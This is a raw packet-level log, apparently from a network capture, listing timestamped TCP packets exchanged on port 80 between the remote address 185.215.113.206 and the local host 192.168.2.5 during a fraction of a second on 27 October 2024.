Oct 27, 2024 07:59:14.448191881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448211908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448231936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448265076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448265076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448311090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448323965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448363066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448375940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448412895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448434114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448451996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448481083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448481083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448481083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448518038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448546886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448606014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448612928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448632002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448683977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448683977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448719978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448739052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448759079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448779106 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448800087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448816061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448816061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448820114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448828936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448839903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.448874950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.448926926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449220896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449260950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449281931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449301958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449321032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449321985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449322939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449341059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449378014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449404955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449407101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449426889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449445963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449465036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.449520111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449520111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449529886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.449538946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.490504980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.490531921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.490554094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.490592957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.490641117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.521703005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.521722078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.521734953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.521873951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.521908998 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.535350084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.535362959 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.535377026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.535387039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.535398960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.535506010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.535541058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.535548925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.565860033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.565891981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.565946102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.565958023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.565994978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566010952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566010952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566055059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566068888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566133976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566157103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566287041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566298008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566323042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566369057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566369057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566389084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566423893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566457987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566471100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566471100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566493034 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566525936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566534996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566561937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566596031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566596031 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566611052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566627026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566662073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566678047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566694975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566730976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566744089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566744089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566806078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566821098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566842079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566875935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566871881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566890955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566910982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.566937923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.566975117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567018986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567043066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567075968 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567090034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567090034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567116976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567151070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567153931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567183971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567183971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567199945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567219973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567255974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567306995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567358017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567406893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567441940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567468882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567513943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567534924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567572117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567609072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567653894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567688942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567708015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567709923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567744017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567792892 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567830086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567873001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567894936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567924976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567946911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.567960978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567960978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567960978 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.567996979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568022013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568072081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568121910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568136930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568136930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568169117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568181992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568206072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568244934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568264008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568276882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.568314075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568366051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568533897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568533897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568592072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568753958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568753958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568931103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.568932056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.569041967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.569102049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.569102049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.569139957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.569139957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.569372892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.569374084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.608860970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.608891964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.608949900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.608983040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.609025955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.609025955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.609107971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.640090942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.640121937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.640280008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.640280008 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.653861046 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.653896093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.653930902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.653961897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.653980970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.654028893 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.688967943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689040899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689107895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689138889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689138889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689141989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689162970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689176083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689239979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689305067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689368010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689368010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689384937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689384937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689384937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689403057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689436913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689487934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689496040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689507008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689510107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689524889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689543962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689562082 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689601898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689611912 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689665079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689687967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689701080 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689733982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689766884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689799070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689831972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689832926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689832926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689845085 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689853907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689863920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689872026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689896107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689901114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689915895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.689935923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.689970970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690004110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690013885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690013885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690032959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690041065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690073967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690108061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690129995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690141916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690149069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690155029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690155983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690205097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690226078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690258026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690260887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690293074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690334082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690340042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690375090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690392017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690398932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690438986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690474987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690507889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690540075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690573931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690577984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690577984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690577984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690598965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690608025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690612078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690630913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690644979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690679073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690711021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690726042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690726042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690726042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690745115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690757990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690779924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690814972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690833092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690833092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690849066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690864086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.690886021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690921068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690954924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.690988064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.691015959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.691015959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.691015959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.691015959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.691020966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.691183090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.691183090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.696511984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.696547985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.696583033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.696595907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.696621895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.696666956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.727443933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.727478027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.727511883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.727531910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.727557898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.727569103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.772227049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.772279978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.772313118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.772341967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.772386074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.807394028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807425976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807487011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807595015 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807635069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807694912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.807694912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.807694912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.807734013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807775021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807816029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807826042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807836056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.807843924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807895899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807910919 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.807944059 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.807977915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.808034897 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.808131933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.808181047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.808181047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.808207989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 27, 2024 07:59:14.808263063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 27, 2024 07:59:14.808281898 CET	80	49704	185.215.113.206	192.168.2.5
